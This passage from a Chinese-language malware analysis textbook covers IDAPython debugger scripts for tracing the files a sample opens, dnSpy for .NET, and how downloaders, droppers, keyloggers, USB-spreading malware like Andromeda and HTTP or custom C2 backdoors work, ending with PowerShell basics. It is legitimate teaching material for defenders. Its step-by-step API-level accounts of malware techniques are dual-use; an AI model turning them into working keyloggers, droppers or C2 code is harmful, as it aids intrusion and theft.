本节将帮助你了解如何使用 IDAPython 进行调试相关任务。首先,在 IDA 中加载可执行文件,并选择调试器(通过 Debugger | Select debugger)。在测试以下脚本命令时,选择了本地 Windows 调试器。可执行文件加载后,你可以在 IDA 的 Python 控制台中执行以下提到的 Python 代码片段,或者通过选择 File | Script Command (Shift + F2) 并从下拉菜单中选择 Python 作为脚本语言。如果你希望将其作为独立脚本运行,你可能需要导入适当的模块(例如,import idc)。
以下代码片段在当前光标位置设置一个断点,启动调试器,等待 suspend debugger 事件发生,然后打印与断点地址相关的 地址 和 反汇编文本:
idc.add_bpt(idc.get_screen_ea())
idc.start_process('', '', '')
evt_code = idc.wait_for_next_event(WFNE_SUSP, -1)
if (evt_code > 0) and (evt_code != idc.PROCESS_EXITED):
evt_ea = idc.get_event_ea()
print "Breakpoint Triggered at:", hex(evt_ea),idc.generate_disasm_line(evt_ea, 0)
执行上述脚本命令后,生成的输出如下:
Breakpoint Triggered at: 0x1171010 push ebp
以下代码片段 单步进入 下一条指令,并打印 地址 和 反汇编文本。同样,你可以使用 idc.step_over() 来 单步跳过 指令:
idc.step_into()
evt_code = idc.wait_for_next_event(WFNE_SUSP, -1)
if (evt_code > 0) and (evt_code != idc.PROCESS_EXITED):
evt_ea = idc.get_event_ea()
print "Stepped Into:", hex(evt_ea),idc.generate_disasm_line(evt_ea, 0)
执行上述脚本命令后的结果如下所示:
Stepped Into: 0x1171011 mov ebp,esp
要获取寄存器的值,你可以使用 idc.get_reg_value()。以下示例获取 esp 寄存器的值,并在 输出窗口 中打印它:
Python>esp_value = idc.get_reg_value("esp")
Python>print hex(esp_value)
0x1bf950
要获取地址 0x14fb04 处的 dword 值,可以使用以下代码。同样,你可以使用 idc.read_dbg_byte(ea)、idc.read_dbg_word(ea) 和 idc.read_dbg_qword(ea) 来获取特定地址处的 byte、word 和 qword 值:
Python>ea = 0x14fb04
print hex(idc.read_dbg_dword(ea))
0x14fb54
要获取地址 0x01373000 处的 ASCII 字符串,可以使用以下方法。默认情况下,idc.get_strlit_contents() 函数会获取给定地址处的 ASCII 字符串:
Python>ea = 0x01373000
Python>print idc.get_strlit_contents(ea)
This is a simple program
要获取 UNICODE 字符串,你可以通过设置 strtype 参数为常量值 idc.STRTYPE_C_16,使用 idc.get_strlit_contents() 函数,如下所示。你可以在 idc.idc 文件中找到已定义的常量值,文件位于你的 IDA 安装目录:
Python>ea = 0x00C37860
Python>print idc.get_strlit_contents(ea, strtype=idc.STRTYPE_C_16)
SHAMple.dat
以下代码列出所有加载的模块(可执行文件和 DLL)及其基地址:
import idautils
for m in idautils.Modules():
print "0x%08x %s" % (m.base, m.name)
执行前面脚本命令的结果如下所示:
0x00400000 C:\malware\5340.exe
0x735c0000 C:\Windows\SYSTEM32\wow64cpu.dll
0x735d0000 C:\Windows\SYSTEM32\wow64win.dll
0x73630000 C:\Windows\SYSTEM32\wow64.dll
0x749e0000 C:\Windows\syswow64\cryptbase.dll
[REMOVED]
要获取CreateFileA函数在kernel32.dll中的地址,请使用以下代码:
Python>ea = idc.get_name_ea_simple("kernel32_CreateFileA")
Python>print hex(ea)
0x768a53c6
要恢复暂停的进程,可以使用以下代码:
Python>idc.resume_process()
3.9.1 示例 – 确定恶意软件访问的文件
在上一章中,我们讨论了 IDAPython,并编写了一个 IDAPython 脚本来确定所有指向CreateFileA函数的交叉引用(即CreateFileA被调用的地址)。在本节中,让我们增强该脚本,执行调试任务并确定恶意软件创建(或打开)的文件名。
以下脚本会在程序中调用CreateFileA的所有地址处设置断点,并运行恶意软件。在运行以下脚本之前,选择适当的调试器(调试器 | 选择调试器 | 本地 Windows 调试器)。当此脚本执行时,它将在每个断点暂停(也就是说,在调用CreateFileA之前),并打印第一个参数(lpFileName)、第二个参数(dwDesiredAccess)和第五个参数(dwCreationDisposition)。这些参数将告诉我们文件名、表示对文件执行操作的常量值(如读取/写入),以及表示将执行的操作的另一个常量值(如创建或打开)。当断点被触发时,第一个参数可以通过[esp]访问,第二个参数通过[esp+0x4]访问,第五个参数通过[esp+0x10]访问。除了打印一些参数外,脚本还通过获取EAX寄存器的值来确定文件的handle(返回值),该值是在步进过CreateFile函数后获得的:
import idc
import idautils
import idaapi
ea = idc.get_name_ea_simple("CreateFileA")
if ea == idaapi.BADADDR:
print "Unable to locate CreateFileA"
else:
for ref in idautils.CodeRefsTo(ea, 1):
idc.add_bpt(ref)
idc.start_process('', '', '')
while True:
event_code = idc.wait_for_next_event(idc.WFNE_SUSP, -1)
if event_code < 1 or event_code == idc.PROCESS_EXITED:
break
evt_ea = idc.get_event_ea()
print "0x%x %s" % (evt_ea, idc.generate_disasm_line(evt_ea,0))
esp_value = idc.get_reg_value("ESP")
dword = idc.read_dbg_dword(esp_value)
print "\tFilename:", idc.get_strlit_contents(dword)
print "\tDesiredAccess: 0x%x" % idc.read_dbg_dword(esp_value + 4)
print "\tCreationDisposition:", hex(idc.read_dbg_dword(esp_value+0x10))
idc.step_over()
evt_code = idc.wait_for_next_event(idc.WFNE_SUSP, -1)
if evt_code == idc.BREAKPOINT:
print "\tHandle(return value): 0x%x" % idc.get_reg_value("EAX")
idc.resume_process()
以下是执行前面脚本的结果。DesiredAccess值0x40000000和0x80000000分别表示GENERIC_WRITE和GENERIC_READ操作。createDisposition值0x2和0x3分别表示CREATE_ALWAYS(始终创建一个新文件)和OPEN_EXISTING(仅在文件存在时打开文件)。如您所见,通过使用调试器脚本,可以快速确定恶意软件创建/访问的文件名:
0x4013fb call ds:CreateFileA
Filename: ka4a8213.log
DesiredAccess: 0x40000000
CreationDisposition: 0x2
Handle(return value): 0x50
0x401161 call ds:CreateFileA
Filename: ka4a8213.log
DesiredAccess: 0x80000000
CreationDisposition: 0x3
Handle(return value): 0x50
0x4011aa call ds:CreateFileA
Filename: C:\Users\test\AppData\Roaming\Microsoft\winlogdate.exe
DesiredAccess: 0x40000000
CreationDisposition: 0x2
Handle(return value): 0x54
----------------[Removed]------------------------
4. 调试.NET 应用程序
在进行恶意软件分析时,您将需要分析各种不同的代码。您很可能会遇到使用Microsoft Visual C/C++、Delphi和*.NET 框架创建的恶意软件。在本节中,我们将简要介绍一个名为dnSpy的工具(github.com/0xd4d/dnSpy),它使得分析 .NET 二进制文件变得更加简单。它在反编译和调试.NET 应用程序方面非常有效。要加载 .NET 应用程序,您可以将应用程序拖放到dnSpy中,或者启动dnSpy*并选择“文件 | 打开”,然后提供二进制文件的路径。一旦 .NET 应用程序加载完成,dnSpy 将反编译该应用程序,您可以在左侧窗口(名为“程序集浏览器”)中访问程序的各个方法和类。以下截图显示了反编译后的 .NET 恶意二进制文件(名为SQLite.exe)的main函数:
一旦二进制文件被反编译,您可以通过阅读代码(静态代码分析)来确定恶意软件的功能,或者通过调试代码进行动态代码分析。要调试恶意软件,您可以点击工具栏上的“开始”按钮,或者选择“调试 | 调试程序集”(F5);这将弹出如下所示的对话框:
使用“Break at drop-down”选项,您可以指定在调试器启动时断点的位置。设置好选项后,您可以点击“确定”按钮,这将启动调试过程并在入口点暂停调试器。现在,您可以通过“调试”菜单访问各种调试器选项(如“步过”、“步入”、“继续”等),如以下截图所示。您还可以通过双击某行或选择调试 | 切换断点(F9)来设置断点。在调试过程中,您可以使用本地窗口检查一些局部变量或内存位置:
要了解 .NET 二进制分析,并对前面提到的二进制文件(名为
SQLite.exe)进行详细分析,您可以阅读作者的博客文章:cysinfo.com/cyber-attack-targeting-cbi-and-possibly-indian-army-officials/。
总结
本章介绍的调试技术是理解恶意二进制文件内部工作原理的有效方法。像 IDA、x64dbg 和 dnSpy 等代码分析工具提供的调试功能,可以大大增强您的逆向工程过程。在恶意软件分析中,您通常会结合反汇编和调试技术来确定恶意软件的功能,并从恶意二进制文件中获取有价值的信息。
在下一章中,我们将运用到目前为止学到的技能,理解各种恶意软件的特征和功能。
第七章:恶意软件功能和持久性
恶意软件可以执行各种操作,它可能包含各种功能。 理解恶意软件的功能和行为至关重要,以便理解恶意二进制文件的性质和目的。 在过去的几章中,你学习了执行恶意软件分析所需的技能和工具。 在本章和接下来的几章中,我们将主要关注理解不同的恶意软件行为,它们的特征及其能力。
1. 恶意软件功能
到目前为止,你应该已经了解恶意软件如何利用 API 函数与系统进行交互。 在本节中,你将了解恶意软件如何利用各种 API 函数实现特定功能。 有关在特定 API 上寻求帮助以及如何阅读 API 文档的信息,请参考第三部分,《Windows API 反汇编》,在第五章中,《使用 IDA 进行反汇编》。
1.1 下载器
在进行恶意软件分析时,你将遇到的最简单类型的恶意软件是下载器。 下载器是从互联网下载另一个恶意软件组件并在系统上执行的程序。 它通过调用UrlDownloadToFile() API 来完成文件下载到磁盘上。 下载完成后,它再使用ShellExecute()、WinExec()或CreateProcess() API 调用来执行下载的组件。 通常情况下,你会发现下载器被用作攻击载荷的一部分。
下面的截图显示了一个 32 位恶意软件下载器使用UrlDownloadToFileA()和ShellExecuteA()来下载和执行恶意二进制文件。 为了确定从哪个 URL 下载恶意二进制文件,设置了一个在调用UrlDownloadToFileA()时断点。 运行代码后,断点被触发,如下截图所示。 UrlDownloadToFileA()的第二个参数显示了恶意可执行文件(wowreg32.exe)将被下载的 URL,第三个参数指定了下载的可执行文件将保存在磁盘上的位置。 在这种情况下,下载器将下载的可执行文件保存在%TEMP%目录下,命名为temp.exe:
将恶意软件可执行文件下载到%TEMP%目录后,下载器通过调用ShellExecuteA() API 来执行它,如下截图所示。 或者,恶意软件也可能使用WinExec()或CreateProcess() API 来执行下载的文件:
在调试恶意二进制文件时,最好运行监控工具(如Wireshark)和仿真工具(如InetSim),以便观察恶意软件的行为并捕获其生成的流量。
1.2 植入器
下拉程序是一个将额外的恶意软件组件嵌入自身的程序。当执行时,下拉程序提取恶意软件组件并将其写入磁盘。下拉程序通常会将额外的二进制文件嵌入资源区。为了提取嵌入的可执行文件,下拉程序使用FindResource()、LoadResource()、LockResource()和SizeOfResource() API 调用。在下图中,R*esource Hacker 工具(在第二章中介绍 第二章,*静态分析)*显示恶意软件样本的资源部分包含一个 PE 文件。在这种情况下,资源类型是 DLL:
在 x64dbg 中加载恶意二进制文件,并查看对 API 调用的引用(在上一章中介绍),显示了与资源相关的 API 调用引用。这表明恶意软件正在从资源部分提取内容。此时,你可以在调用FindResourceA() API 的地址设置断点,如下所示:
在下图中,运行程序后,执行在FindResourceA() API 处暂停,原因是之前步骤中设置了断点。传递给FindResourceA() API 的第二个和第三个参数告诉你恶意软件正在尝试查找DLL/101资源,如下所示:
执行完FindResourceA()后,它的返回值(存储在EAX中),即指定资源信息块的句柄,将作为第二个参数传递给LoadResource() API。LoadResource()检索与资源相关的数据句柄。LoadResource()的返回值(包含检索到的句柄)然后作为参数传递给LockResource() API,后者获取指向实际资源的指针。在下图中,执行在调用LockResource()后立即暂停。检查转储窗口中存储在EAX中的返回值,显示从资源部分检索到的 PE 可执行内容:
一旦检索到资源,恶意软件通过SizeOfResource() API 确定资源(PE 文件)的大小。接下来,恶意软件使用CreateFileA将 DLL 写入磁盘,如下所示:
然后,通过WriteFile() API 将提取的 PE 内容写入 DLL。在下图中,第一个参数0x5c是 DLL 的句柄,第二个参数0x00404060是检索到的资源地址(PE 文件),第三个参数0x1c00是资源的大小,该大小是通过调用SizeOfResource()确定的:
1.2.1 反向分析 64 位下拉程序
以下是一个 64 位恶意软件投放工具(称为 黑客之门)的示例。如果你还不熟悉调试 64 位样本,请参阅上一章的 2.7 节,调试 64 位恶意软件。该恶意软件使用相同的 API 函数集来查找并提取资源;不同之处在于,前几个参数被放置在寄存器中,而不是压入堆栈(因为它是 64 位二进制)。恶意软件首先使用 FindResourceW() API 查找 BIN/100 资源,如下所示:
然后,恶意软件使用 LoadResource() 获取与该资源关联的数据句柄,接着使用 LockResource() 获取指向实际资源的指针。在以下截图中,检查 LockResource() API 的返回值 (RAX) 显示提取的资源。在这种情况下,64 位恶意软件投放工具从其资源部分提取 DLL,并随后将 DLL 投放到磁盘上:
1.3 键盘记录器
键盘记录器 是一种旨在拦截和记录按键的程序。攻击者在其恶意程序中使用键盘记录功能,窃取通过键盘输入的机密信息(如用户名、密码、信用卡信息等)。在本节中,我们将主要关注用户模式的软件键盘记录器。攻击者可以使用多种技术来记录按键。记录按键的最常见方法是使用文档化的 Windows API 函数:(a) 检查键状态(使用 GetAsyncKeyState() API)和 (b) 安装钩子(使用 SetWindowHookEX() API)。
1.3.1 使用 GetAsyncKeyState() 的键盘记录器
该技术涉及查询键盘上每个键的状态。为了实现这一点,键盘记录器利用GetAsyncKeyState() API 函数来确定某个键是按下还是未按下。通过 GetAsyncKeyState() 的返回值,可以确定在调用该函数时键是否被按下,以及该键是否在之前调用 GetAsyncKeyState() 后被按下。以下是 GetAsyncKeyState() API 的函数原型:
SHORT GetAsyncKeyState(int vKey);
GetAsyncKeyState() 接受一个整数参数 vKey,该参数指定一个 256 个可能的虚拟键码之一。为了确定键盘上单个键的状态,可以通过将与所需键关联的虚拟键码作为参数来调用 GetAsyncKeyState() API。为了确定键盘上所有键的状态,键盘记录器不断循环调用 GetAsyncKeyState() API(每次传递一个虚拟键码作为参数),以确定哪个键被按下。
你可以在 MSDN 网站上找到与虚拟键码相关的符号常量名称(msdn.microsoft.com/en-us/library/windows/desktop/dd375731(v=vs.85).aspx)。
以下截图显示了键盘记录器的代码片段。键盘记录器通过在地址0x401441调用GetKeyState() API 来确定Shift键的状态(是按下还是释放)。在地址0x401459,键盘记录器调用GetAsyncKeyState(),这是一个循环的一部分,在每次循环中,虚拟键码(从键码数组中读取)作为参数传递,用于确定每个按键的状态。在地址0x401463,对GetAsyncKeyState()的返回值执行test操作(与AND操作相同),以确定最高有效位是否被设置。如果最高有效位被设置,则表示按键被按下。如果某个特定按键被按下,则键盘记录器会在地址0x40146c调用GetKeyState()来检查Caps Lock键的状态(检查它是否被打开)。通过这种技术,恶意软件可以确定在键盘上输入的是大写字母、小写字母、数字还是特殊字符:
以下截图显示了循环的结束。从代码中可以看出,恶意软件遍历了0x5c (92)键码。换句话说,它监控了92个按键。在这种情况下,var_4充当键码数组的索引,用于检查键码,并在循环结束时递增,只要var_4的值小于0x5c(92),循环将继续:
1.3.2 使用 SetWindowsHookEx() 的键盘记录器
另一种常见的键盘记录器技术是它安装一个函数(称为钩子过程)来监控键盘事件(例如按键)。在这种方法中,恶意程序注册一个函数(钩子过程),当键盘事件被触发时,该函数会收到通知,并可以将按键信息记录到文件中或通过网络发送。恶意程序使用SetWindowsHookEx() API 来指定要监控的事件类型(例如键盘、鼠标等)和当特定类型事件发生时应通知的钩子过程。钩子过程可以包含在一个 DLL 或当前模块中。在以下截图中,恶意软件样本通过调用SetWindowsHookEx()并使用WH_KEYBOARD_LL参数来注册一个用于低级键盘事件的钩子过程(恶意软件也可能使用WH_KEYBOARD)。第二个参数offset hook_proc是钩子过程的地址。当键盘事件发生时,这个函数将会收到通知。检查这个函数可以帮助了解键盘记录器是如何以及在哪里记录按键信息的。第三个参数是包含钩子过程的模块(例如 DLL 或当前模块)的句柄。第四个参数0指定钩子过程将与同一桌面中的所有现有线程相关联:
1.4 通过可移动媒体复制恶意软件
攻击者可以通过感染可移动介质(如 USB 驱动器)来传播其恶意程序。攻击者可以利用自动运行功能(或利用自动运行中的漏洞)来自动感染其他系统,当感染的介质插入到该系统时。这种技术通常涉及将文件复制或修改存储在可移动介质上的现有文件。一旦恶意软件将恶意文件复制到可移动介质,它可以使用各种技巧让该文件看起来像一个合法的文件,从而欺骗用户在将 USB 插入另一个系统时执行该文件。感染可移动介质的技术使攻击者能够在断开连接或空中隔离的网络中传播其恶意软件。
在以下示例中,恶意软件调用GetLogicalDriveStringsA()以获取计算机上有效驱动器的详细信息。在调用GetLogicalDriveStringsA()之后,可用驱动器的列表会存储在输出缓冲区RootPathName中,该缓冲区作为第二个参数传递给GetLogicalDriveStringsA()。下图显示了三个驱动器,C:\、D:\和E:\,在调用GetLogicalDriveStringsA()后,其中E:\是 USB 驱动器。一旦确定了驱动器列表,它就会遍历每个驱动器以确定它是否是可移动驱动器。它通过将GetDriveTypeA()的返回值与DRIVE_REMOVABLE(常量值2)进行比较来判断:
如果检测到可移动介质,恶意软件使用CopyFileA() API 将自身(可执行文件)复制到可移动介质(USB 驱动器)中。为了隐藏文件,恶意软件调用SetFileAttributesA() API,并将常量值FILE_ATTRIBUTE_HIDDEN传递给它:
在将恶意文件复制到可移动介质后,攻击者可以等待用户双击复制的文件,或者利用自动运行功能。Windows Vista 之前,恶意软件除了复制可执行文件外,还会将包含自动运行命令的autorun.inf文件复制到可移动介质中。这些自动运行命令允许攻击者在介质插入系统时自动启动程序(无需用户干预)。从 Windows Vista 开始,通过自动运行执行恶意二进制文件默认不可行,因此攻击者必须使用其他技术(例如修改注册表项)或利用某个漏洞,使恶意二进制文件能够自动执行。
一些恶意软件程序依赖于欺骗用户执行恶意二进制文件,而不是利用自动运行功能。Andromeda 就是这样一种恶意软件的例子。为了演示 Andromeda 使用的技巧,请考虑以下截图,展示了将 2 GB 的干净 USB 驱动器插入感染了 Andromeda 的系统之前的内容。USB 根目录包含一个名为test.txt的文件和一个名为testdir的文件夹:
一旦干净的 USB 驱动器插入到*Andromeda-*感染的计算机中,它会执行以下步骤来感染 USB 驱动器:
-
它通过调用
GetLogicalDriveStrings()来确定系统上所有驱动器的列表。 -
恶意软件通过遍历每个驱动器,使用
GetDriveType()API 判断是否有驱动器是可移动媒体。 -
一旦找到可移动媒体,恶意软件调用
CreateDirectoryW()API 创建一个文件夹(目录),并将扩展 ASCII 码xA0 (á)作为第一个参数(目录名)。这将在可移动媒体上创建一个名为E:\á的文件夹,由于使用了扩展 ASCII 码,该文件夹显示为没有名称。以下截图展示了E:\á目录的创建。从现在起,我将把这个恶意软件创建的目录称为未命名目录(文件夹):
以下截图显示了未命名文件夹。这是之前步骤中创建的带有扩展 ASCII 码 xA0 的文件夹:
- 然后通过调用
SetFileAttributesW()API 将未命名文件夹的属性设置为隐藏,并将其设为受保护的操作系统文件夹。这会将文件夹隐藏在可移动媒体上:
- 恶意软件从注册表中解密可执行内容。然后它在未命名文件夹中创建一个文件。创建的文件名遵循
<randomfilename>.1的约定,并将 PE 可执行内容(恶意 DLL)写入该文件(使用CreateFile()和WriteFile()API)。结果,在未命名文件夹中创建了一个名为<randomfilename>.1的 DLL, 如下所示:
- 恶意软件随后在未命名文件夹中创建一个
desktop.ini文件,并写入图标信息,为未命名文件夹分配一个自定义图标。desktop.ini的内容如下所示:
以下截图显示了未命名文件夹的图标,该图标已更改为驱动器图标。此外,请注意未命名文件夹现在已被隐藏。换句话说,只有当文件夹选项配置为显示隐藏和受保护的操作系统文件时,这个文件夹才会可见:
- 恶意软件随后调用
MoveFile()API,将所有文件和文件夹(在此案例中为test.txt和testdir)从根目录移动到未命名隐藏文件夹。在复制用户的文件和文件夹后,USB 驱动器的根目录如下所示:
- 恶意软件随后创建一个快捷方式链接,指向
rundll32.exe,而传递给rundll32.exe的参数是<randomfile>.1文件(即之前在无名文件夹中丢失的 DLL 文件)。以下截图显示了快捷方式文件的外观,并展示了恶意 DLL 通过 rundll32.exe 加载的属性。换句话说,当双击该快捷方式文件时,恶意 DLL 会通过 rundll32.exe 加载,从而执行恶意代码:
使用上述操作,Andromeda玩了一个心理把戏。现在,让我们来了解当用户将感染了恶意软件的 USB 驱动器插入干净的系统时会发生什么。以下截图展示了感染 USB 驱动器的内容,呈现给正常用户(使用默认的文件夹选项)。请注意,无名文件夹对用户不可见,并且用户的文件/文件夹(在我们的例子中是test.txt和testdir)从根驱动器中消失。恶意软件正欺骗用户,让其相信快捷方式文件是一个驱动器:
当用户发现 USB 根目录中缺失所有重要文件和文件夹时,用户很可能会双击快捷方式文件(以为它是一个驱动器),以寻找丢失的文件。由于双击该快捷方式,rundll32.exe会从无名隐藏文件夹(用户不可见)加载恶意 DLL,从而感染系统。
1.5 恶意软件指令与控制(C2)
恶意软件指令与控制(也称为C&C或C2)指的是攻击者与被感染系统之间的通信方式,以及如何控制该系统。在感染系统后,大多数恶意软件与攻击者控制的服务器(C2 服务器)进行通信,目的是接收指令、下载附加组件或外泄信息。对手使用不同的技术和协议进行指令与控制。传统上,互联网中继聊天(IRC)曾是许多年的最常见 C2 渠道,但由于 IRC 在组织中不常使用,因此很容易检测到这种流量。如今,恶意软件进行 C2 通信时最常使用的协议是HTTP/HTTPS。使用 HTTP/HTTPS 使得攻击者能够绕过防火墙/基于网络的检测系统,并与合法的网络流量混合。恶意软件有时还会使用 P2P 等协议进行 C2 通信。一些恶意软件也使用 DNS 隧道(securelist.com/use-of-dns-tunneling-for-cc-communications/78203/)进行 C2 通信。
1.5.1 HTTP 指令与控制
在本节中,你将了解对手如何使用 HTTP 与恶意程序通信。以下是 APT1 组使用的恶意软件样本(WEBC2-DIV后门)的示例(www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf)。该恶意二进制文件利用InternetOpen()、InternetOpenUrl()和InternetReadFile() API 函数从攻击者控制的 C2 服务器获取网页。它期望网页包含特殊的 HTML 标签;然后,后门解密标签中的数据,并将其解释为命令。以下步骤描述了WEB2-DIV后门与 C2 通信以接收命令的方式:
- 首先,恶意软件调用
InternetOpenA()API 初始化互联网连接。第一个参数指定恶意软件将用于 HTTP 通信的User-Agent。该后门通过将感染系统的主机名(它通过调用GetComputerName()API 获得)与硬编码字符串连接来生成 User-Agent。每当你遇到二进制文件中使用的硬编码User-Agent字符串时,它可以作为一个很好的网络指示器:
- 然后,它调用
InternetOpenUrlA()连接到一个 URL。你可以通过检查第二个参数来确定它连接到的 URL 名称,如下所示:
- 以下截图显示了调用
InternetOpenUrlA()后生成的网络流量。在此阶段,恶意软件与 C2 服务器通信以读取 HTML 内容:
- 然后,它使用
InternetReadFile()API 调用获取网页内容。该函数的第二个参数指定接收数据的缓冲区指针。以下截图显示了调用InternetReadFile()后检索到的 HTML 内容:
- 从检索到的 HTML 内容中,后门会查找特定内容,该内容位于** HTML 标签中。检查 div 标签内内容的代码如下所示。如果未找到所需内容,恶意软件不会做任何操作,只会定期检查内容:
具体来说,恶意软件期望内容被按特定格式包裹在div标签中,如下面代码所示。如果在检索到的 HTML 内容中找到以下格式,它会提取加密字符串(KxAikuzeG:F6PXR3vFqffP:H),该字符串被包裹在<div safe: 和 balance></div>之间:
<div safe: KxAikuzeG:F6PXR3vFqffP:H balance></div>
- 提取的加密字符串随后作为参数传递给解密函数,该函数使用自定义加密算法解密字符串。你将在第九章中了解更多关于恶意软件加密技术的内容,恶意软件混淆技术。下图显示了调用
解密函数后的解密字符串。解密字符串后,后门会检查解密字符串的第一个字符是否为J。如果满足此条件,恶意软件会调用sleep()API,使程序进入指定时间的休眠状态。简而言之,解密字符串的第一个字符充当命令代码,指示后门执行休眠操作:
- 如果解密字符串的第一个字符是
D,则会检查第二个字符是否为o,如图所示。如果满足此条件,则从第三个字符开始提取 URL,并使用UrlDownloadToFile()从该 URL 下载可执行文件。然后,它通过CreateProcess()API 执行下载的文件。在这种情况下,前两个字符Do充当命令代码,指示后门下载并执行文件:
要查看APT1 WEBC2-DIV后门的完整分析,请查看作者的 Cysinfo 会议演讲和视频演示(
cysinfo.com/8th-meetup-understanding-apt1-malware-techniques-using-malware-analysis-reverse-engineering/)。
恶意软件还可能使用诸如InternetOpen()、InternetConnect()、HttpOpenRequest()、HttpSendRequest()和InternetReadFile()等 API 通过 HTTP 进行通信。你可以在这里找到对某种恶意软件的分析与逆向工程:cysinfo.com/sx-2nd-meetup-reversing-and-decrypting-the-communications-of-apt-malware/。
除了使用 HTTP/HTTPS,攻击者还可能滥用社交网络(threatpost.com/attackers-moving-social-networks-command-and-control-071910/74225/)、合法网站如Pastebin(cysinfo.com/uri-terror-attack-spear-phishing-emails-targeting-indian-embassies-and-indian-mea/)、以及云存储服务如Dropbox(www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html)来进行恶意软件的命令与控制。这些技术使得监视和检测恶意通信变得困难,并允许攻击者绕过基于网络的安全控制。
1.5.2 自定义命令与控制
对手可能会使用自定义协议或通过非标准端口来隐藏他们的命令和控制流量。以下是一个恶意软件样本(HEARTBEAT RAT)的示例,其详细信息在白皮书中有所记录(www.trendmicro.it/media/wp/the-heartbeat-apt-campaign-whitepaper-en.pdf)。该恶意软件使用自定义协议(非 HTTP)在端口80上进行加密通信,并从 C2 服务器检索命令。它利用Socket()、Connect()、Send()和Recv() API 调用与 C2 进行通信并接收命令:
- 首先,恶意软件调用
WSAStartup()API 来初始化 Windows 套接字系统。然后,它调用Socket()API 来创建一个套接字,如下图所示。套接字 API 接受三个参数。第一个参数AF_INET指定地址族,即IPV4。第二个参数是套接字类型(SOCK_STREAM),第三个参数IPPROTO_TCP指定正在使用的协议(此处为 TCP):
- 在建立与套接字的连接之前,恶意软件使用
GetHostByName()API 解析 C2 域名的地址。这是有意义的,因为远程地址和端口需要提供给Connect()API,以便建立连接。GetHostByName()的返回值(EAX)是一个指向名为hostent的结构体的指针,该结构体包含了解析后的 IP 地址:
- 它从
hostent结构中读取解析后的 IP 地址,并将其传递给inet_ntoa()API,该 API 将 IP 地址转换为 ASCII 字符串,如192.168.1.100。然后调用inet_addr(),该函数将类似192.168.1.100的 IP 地址字符串转换为可以供Connect()API 使用的格式。然后调用Connect()API 来建立与套接字的连接:
- 恶意软件随后收集系统信息,使用
XOR加密算法对其进行加密(加密技术将在第九章中介绍),并使用Send()API 调用将其发送到 C2 服务器。Send()API 的第二个参数显示了将发送到 C2 服务器的加密内容:
以下截图显示了在调用Send() API 后捕获的加密网络流量:
- 然后,恶意软件调用
CreateThread()来启动一个新线程。CreateThread的第三个参数指定线程的起始地址(起始函数),因此在调用CreateThread()后,执行将从起始地址开始。在这种情况下,线程的起始地址是一个负责从 C2 读取内容的函数:
内容来自 C2,使用Recv() API 函数进行检索。Recv()的第二个参数是存储检索内容的缓冲区。然后,检索到的内容会被解密,接着,根据从 C2 接收到的命令,恶意软件执行相应的操作。要了解此恶意软件的所有功能以及它如何处理接收到的数据,请参阅作者的演示文稿和视频演示(cysinfo.com/session-11-part-2-dissecting-the-heartbeat-apt-rat-features/)。
1.6 基于 PowerShell 的执行
为了避开检测,恶意软件作者通常利用系统中已存在的工具(如PowerShell),这些工具可以帮助他们隐藏恶意活动。PowerShell 是基于.NET 框架的管理引擎。该引擎暴露了一系列命令,称为cmdlets。该引擎托管在应用程序和 Windows 操作系统中,默认情况下提供命令行界面(交互式控制台)和GUI PowerShell ISE(集成脚本环境)。
PowerShell 不是一种编程语言,但它允许你创建包含多个命令的有用脚本。你还可以打开PowerShell 提示符并执行单个命令。PowerShell 通常由系统管理员用于合法目的。然而,攻击者使用 PowerShell 执行恶意代码的情况在增加。攻击者使用 PowerShell 的主要原因是它可以访问所有主要的操作系统功能,并且几乎不留下痕迹,从而使检测更加困难。以下是攻击者如何在恶意软件攻击中利用 PowerShell 的概述:
-
在大多数情况下,PowerShell 在利用后用于下载其他组件。它通常通过电子邮件附件发送,附件中包含能够直接或间接执行 PowerShell 脚本的文件(如
.lnk、.wsf、JavaScript、VBScript 或包含恶意宏的办公文档)。一旦攻击者诱使用户打开恶意附件,恶意代码便直接或间接调用 PowerShell 来下载其他组件。 -
它还用于横向移动,攻击者在远程计算机上执行代码,以便在网络内传播。
-
攻击者使用 PowerShell 动态加载并执行代码,直接从内存中执行,而不访问文件系统。这使得攻击者能够保持隐秘,并使取证分析变得更加困难。
-
攻击者使用 PowerShell 执行其混淆的代码,这使得传统安全工具很难检测到它。
如果你是 PowerShell 新手,你可以通过以下链接找到许多入门教程,帮助你开始使用 PowerShell:social.technet.microsoft.com/wiki/contents/articles/4307.powershell-for-beginners.aspx
1.6.1 PowerShell 命令基础
在深入了解恶意软件如何利用 PowerShell 之前,先了解如何执行 PowerShell 命令。你可以使用交互式 PowerShell 控制台执行 PowerShell 命令;可以通过 Windows 程序搜索功能启动它,或者在命令提示符下输入 powershell.exe。进入交互式 PowerShell 后,你可以输入命令并执行它。在以下示例中,Write-Host cmdlet 将消息写入控制台。cmdlet(如 Write-Host)是用 .NET Framework 语言编写的已编译命令,旨在小巧并完成单一功能。cmdlet 遵循标准的 动词-名词 命名约定:
PS C:\> Write-Host "Hello world"
Hello world
cmdlet 可以接受参数。参数以破折号开头,后跟参数名称和一个空格,再后跟参数值。在以下示例中,Get-Process cmdlet 用于显示关于 explorer 进程的信息。Get-Process cmdlet 接受一个名为 Name 的参数,值为 explorer:
PS C:\> Get-Process -Name explorer
Handles NPM(K) PM(K) WS(K) VM(M) CPU(s) Id ProcessName
------- ------ ----- ----- ----- ------ -- -----------
1613 86 36868 77380 ...35 10.00 3036 explorer
或者,你也可以使用参数快捷方式来减少输入;上面的命令也可以写成:
PS C:\> Get-Process -n explorer
Handles NPM(K) PM(K) WS(K) VM(M) CPU(s) Id ProcessName
------- ------ ----- ----- ----- ----- -- -----------
1629 87 36664 78504 ...40 10.14 3036 explorer
要获取有关 cmdlet(如语法和参数的详细信息)的更多信息,你可以使用 Get-Help cmdlet 或 help 命令。如果你希望获取最新的信息,可以通过以下命令在线获取帮助:
PS C:\> Get-Help Get-Process
PS C:\> help Get-Process -online
在 PowerShell 中,变量可以用来存储值。在以下示例中,hello 是一个以 $ 符号为前缀的变量:
PS C:\> $hello = "Hello World"
PS C:\> Write-Host $hello
Hello World
变量也可以存储 PowerShell 命令的结果,然后可以在命令的地方使用该变量,如下所示:
PS C:\> $processes = Get-Process
PS C:\> $processes | where-object {$_.ProcessName -eq 'explorer'}
Handles NPM(K) PM(K) WS(K) VM(M) CPU(s) Id ProcessName
------- ------ ----- ----- ----- ------ -- -----------
1623 87 36708 78324 ...36 10.38 3036 explorer
1.6.2 PowerShell 脚本与执行策略
